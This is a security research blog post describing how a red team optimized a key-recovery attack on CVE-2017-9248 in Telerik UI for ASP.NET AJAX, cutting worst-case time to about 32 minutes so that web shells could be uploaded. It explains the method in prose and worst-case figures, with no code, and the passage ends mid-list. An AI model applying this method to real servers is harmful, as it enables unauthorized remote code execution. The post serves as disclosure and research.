A cryptographic vulnerability in the development software Telerik UI from 2017 turned out to be impractical to exploit until now. This blogpost details the optimization techniques deployed, which can be applied to similar issues in other software.
A cryptographic vulnerability from 2017 in the development software Telerik UI was considered impractical to exploit. Until now. Our research shows that the impracticability was due to the unoptimized nature of the publicly available exploit. Optimization leads to a practical exploit that puts infrastructures at risk of remote code execution. This blogpost discusses how the 2017 vulnerability was successfully exploited in a large corporation in 2021. It also details the optimization techniques deployed, which can also be applied to similar cryptographic issues in other software.
During a recent Red Team engagement at a Fortune500 company, only one Internet-facing vulnerability at one of the company’s subsidiaries seemed to be promising: A cryptographic weakness in Telerik UI (CVE-2017-9248). The problem was that the publicly available exploit was inefficient, making it impossible to gain access in a timely and undetectable manner.
Different optimization strategies helped us to increase the speed of the exploit by ~100 for the average case (and ~250 for our case, i.e., ~78k/314, and ~39k for the worst-case) and gained us an initial foothold from where we moved laterally to the headquarters. The blog post first provides a deep understanding of the vulnerability itself and the original exploit. With that in mind, a new, optimized version of the exploit is developed. Finally, the key takeaways in relation to exploit optimization are summed up.
Progress Telerik develops user interface(UI) controls and components for all .NET and JavaScript frameworks, helping teams to build engaging apps. According to the vendor website, Telerik products are used by more than 275,000 customers, including organizations such as Visa, Microsoft, and Samsung. Only one specific product (Telerik UI for ASP.NET AJAX) is affected by the vulnerability that this blogpost focusses on.
In 2017 a cryptographic weakness in one of the components of this specific product was identified. The vulnerable component(DialogHandler) allows invoking file browsers (Web UI Dialog Windows)and receives plaintext as well as sensitive encrypted parameters through a URL.Two of these encrypted parameters define, for example, whether files can be uploaded, and which file extensions are allowed. If the secret key can be guessed, a file browser can be invoked and arbitrary files can be uploaded, enabling unauthenticated attackers to compromise vulnerable websites via uploading .aspx web shells. Despite its discovery in 2017, the vulnerability persists in the wild and has been detected in even more recent engagements.
A quick search gave us an exploit that should work in theory and which we tried out on the Red Team target. However, we cancelled the execution when we realized that the exploit would take too long to break the key, not to mention its noisiness (note: if the key character set would be limited, e.g., to hexadecimal, time was not a problem in our simulations). Being dissatisfied with the current outcome and driven by curiosity to search for a better solution, we continued and dove deeper into the vulnerability with the goal of optimizing the exploit.
The DialogHandler.aspx component can be thought of as a single function that receives plaintext and sensitive encrypted parameters (encoded in base64)for invoking different types of dialog windows. The interesting parameters are the encrypted parameters, since they allow enabling upload functionality and specifying valid file extensions. They are specified in the dp argument of the request and go through several conversions until the plaintext arguments are derived (see Figure 1).The goal of the exploit is figuring out the secret key that is stored on the server and used in an XOR operation for decrypting the transmitted parameters.
Sending different parameters to the server result in different error messages (note: error messages shown in the blog are abbreviations). These error messages can be used to guess the secret key.
Table 1 shows the three possible error messages, which are used to guess the secret key, and where these error message scan occur in the server-side chain of operations. The “Index out of range” error message is referred to as the positive error message, which occurs in step 4 and implies that the guessed key is a potential candidate (it does not imply that the key is correct). “No valid base64” indicates that it is wrong. “String is too short” is listed here for the sake of completeness, but since the encoded strings sent to the server are base64-encoded, they will always be multiples of 4.
Figure 2 shows some examples of encoded strings sent to the server and what error message they get as a response. For example, the error message for request 7 shows that the encoded string ABCF could be successfully base64-decoded (1) and XOR-ed with the still unknown secret key on the server-side (2) and resulted in a valid base64 string (3). As mentioned in the previous section, it is essential to understand that this could have happened by accident and does not tell us that our guessed key is indeed correct.
Figure 3 provides greater detail in the context of the chain of operations on the server-side. It depicts the exchange between sending the encrypted string to the server and receiving the response from it.
Before we address the exploits, we would like to clarify two underlying assumptions to ensure comparability between the exploits:
The most trivial approach to brute-forcing the secret key consists of three nested loops:
Loop 1 loops over each of the 12 secret key blocks, consisting of 4 characters each (12).
Loop 2 loops over each key character combination for each of these secret key blocks (95^4).
Loop 3 loops over all possible combinations for the plaintext (64^4) and encrypts each of these combinations with the key character combinations from loop 2. Once there is a secret key block for which we get the positive error message for all possible combinations of the plaintext, we have found the correct secret key block.
The problem with this approach is that it does not make use of available information, e.g., the approach has no way to find out which key character caused the decryption to fail in the first place. Therefore, the worst case is 12 * 95^4 * 64^4 requests, which is astronomically high.
The one that we tried out at the very beginning consists of four main nested loops:
Loop 1 loops over the total key length (48) to guess each key character individually.
Loop 2 loops over all padding characters. Padding is necessary as base64 requires multiples of 4 as its input and the exploit code goes over each key character individually (e.g., when determining the second key character, two padding characters are needed). Padding (if correct) also helps to focus on one key character at a time; in other words, it helps us to trigger an error for a single character.
Loop 3 loops over the key character set, which consists of all possible characters for the key.
Loop 4 loops over the accuracy threshold, which consists of all possible characters that could appear in the (base64-encoded)plaintext (i.e., 64 characters). Within this last loop, the plaintext is created for which it is checked if the (so-far-guessed) key works. The assumption is that if the key is correct, any plaintext that we encrypt on our side should be decryptable on the server side. If the plaintext does not work, anew key character is chosen through loop 3 for the same padding. Once the exploit has gone through all key characters, it will jump to the next padding and go through the same procedure again. The worst case is 48 (number of characters in key) * 256 (number of padding characters) * 95 (number of characters in key character set) * 64 (accuracy iterations) requests, which equals 2.37 years assuming a throttling of one second. [In reality, the worst case is slightly better since the number of padding characters decreases within each block. Think of two cases: To determine the first key character of a block, 3 padding characters are needed; to determine the third key character only 1 padding character is needed. It is clearly harder to find a valid padding for the first case. That means, there are different worst-cases depending on the number of padding characters needed.]
Exploit 1 makes use of a couple of optimization strategies. For example, it focuses on one character at the time to reduce the possibility space for each iteration by using padding, pre-defines the possible character sets for the secret key (e.g., hexadecimal only), and makes use of a sorted list of plaintext characters. However, it has still not exhausted the full optimization potential. For example, information about working paddings in loop 2 are not reused and withdrawn for every new key character iteration.
Our exploit approach, assuming a throttle of one second, has a worst-case duration of 32 minutes. The theory behind it is as follows: While the other exploits loop over each possible key character and try to confirm whether they are correct, we send probes that help us to exclude sets of possible key characters. For this, we determine offline for each possible key character and each encrypted character whether they result in positive or negative error messages. We choose three encrypted characters that group the key character set into three groups (“buckets”) (Step1). We determine all possible combinations of these encrypted characters and sort them by likelihood (Step 2). Using the sorted combinations of encrypted characters, we figure out which bucket the 4 characters of a key block belong to (Step 3). We then perform divide-and-conquer for each key character (Step 4).
We first need to find the detector bytes, which divide the key characters into buckets. A detector byte of a bucket always leads to a valid base 64 character if XOR-ed with characters of this specific bucket. Table 2.1-4 show the results of XOR combinations of different example detector bytes and key characters. The green color indicates that theXOR result is a valid base 64 character (i.e., positive error message).
Since the goal is to find a positive error message as quickly as possible (to then start the divide-and-conquer part),the first detector byte should cover as many characters of the key character set as possible. For all 95 printable ASCII characters, we determined three bytes, which divide the key characters into 3 buckets (Table 3).
Note: If password includes “=” sign (which is a valid base64 character), there is a little trick to be made, which will not be covered in this blog post.
Next, we need to determine all possible combinations of detector bytes. Ordering them by likelihood minimizes the number of requests needed to find out the first valid combination. When ordering, it needs to be ensured that each position of the 4 characters is first checked with the byte of the largest bucket (i.e., 0x0) and then gradually with bytes of smaller buckets (i.e., 0x6B and 0x8). The logic: if 0x0 raises a negative error message, the possible key characters are in the buckets covered by 0x6B or 0x8. We would then send 0x6B. If that raises a negative error message, we will still send 0x8 to verify our assumption that the key consists of printable ASCII characters. Table 4 shows the ordered detector bytes by likelihood.
We then send combinations of detector bytes determined and ordered in step 2 from the top onwards to find valid buckets for each of the 4 characters that is being disclosed (e.g., {0x0, 0x0, 0x0, 0x0},{0x0, 0x0, 0x0, 0x6b}). Since each response of the server is considered for the next request, we called this a decision tree and illustrated it in Figure 7. If we for example receive a positive response n the third request (0x0 0x0 0x6B 0x0), we know that the 1st, 2nd, and 4th character belong to the first bucket (all base64characters). The 3rd character belongs to the second bucket (seeFigure 7).
At this stage, we have a valid detector byte combination for one block of the secret key (e.g., {0x6B,0x0, 0x0, 0x0}). We determine a divide-and-conquer byte for the first detector byte (i.e., 0x6B), for which half of the possible key characters from the bucket will return a positive error message and the other half a negative one.
If we receive a positive error message, we know that key character belongs to the first half.
If we receive a negative error message, we know that key character belongs to the second half.
This will again create a decision tree analogous to the detector byte decision tree (Figure 7). This process is repeated until the key character is unambiguously identified. We then move to the second detector byte (i.e., 0x0) with a different bucket and repeat the whole process.
The worst case is 12 (number of blocks) * (81 (detector byte combinations) + 20 (max. tree depth per characters) * 4 (number of characters per block)) requests, which equals 32 min assuming a throttling of one second.
This blog post showed how the initial dissatisfaction with the existing exploit and sheer curiosity helped us to increase exploitation speed by a factor of ~39k for the worst-case scenario (and 250 in the concrete case). In what follows, we list some optimization strategies that we applied and that can be used when developing other exploits: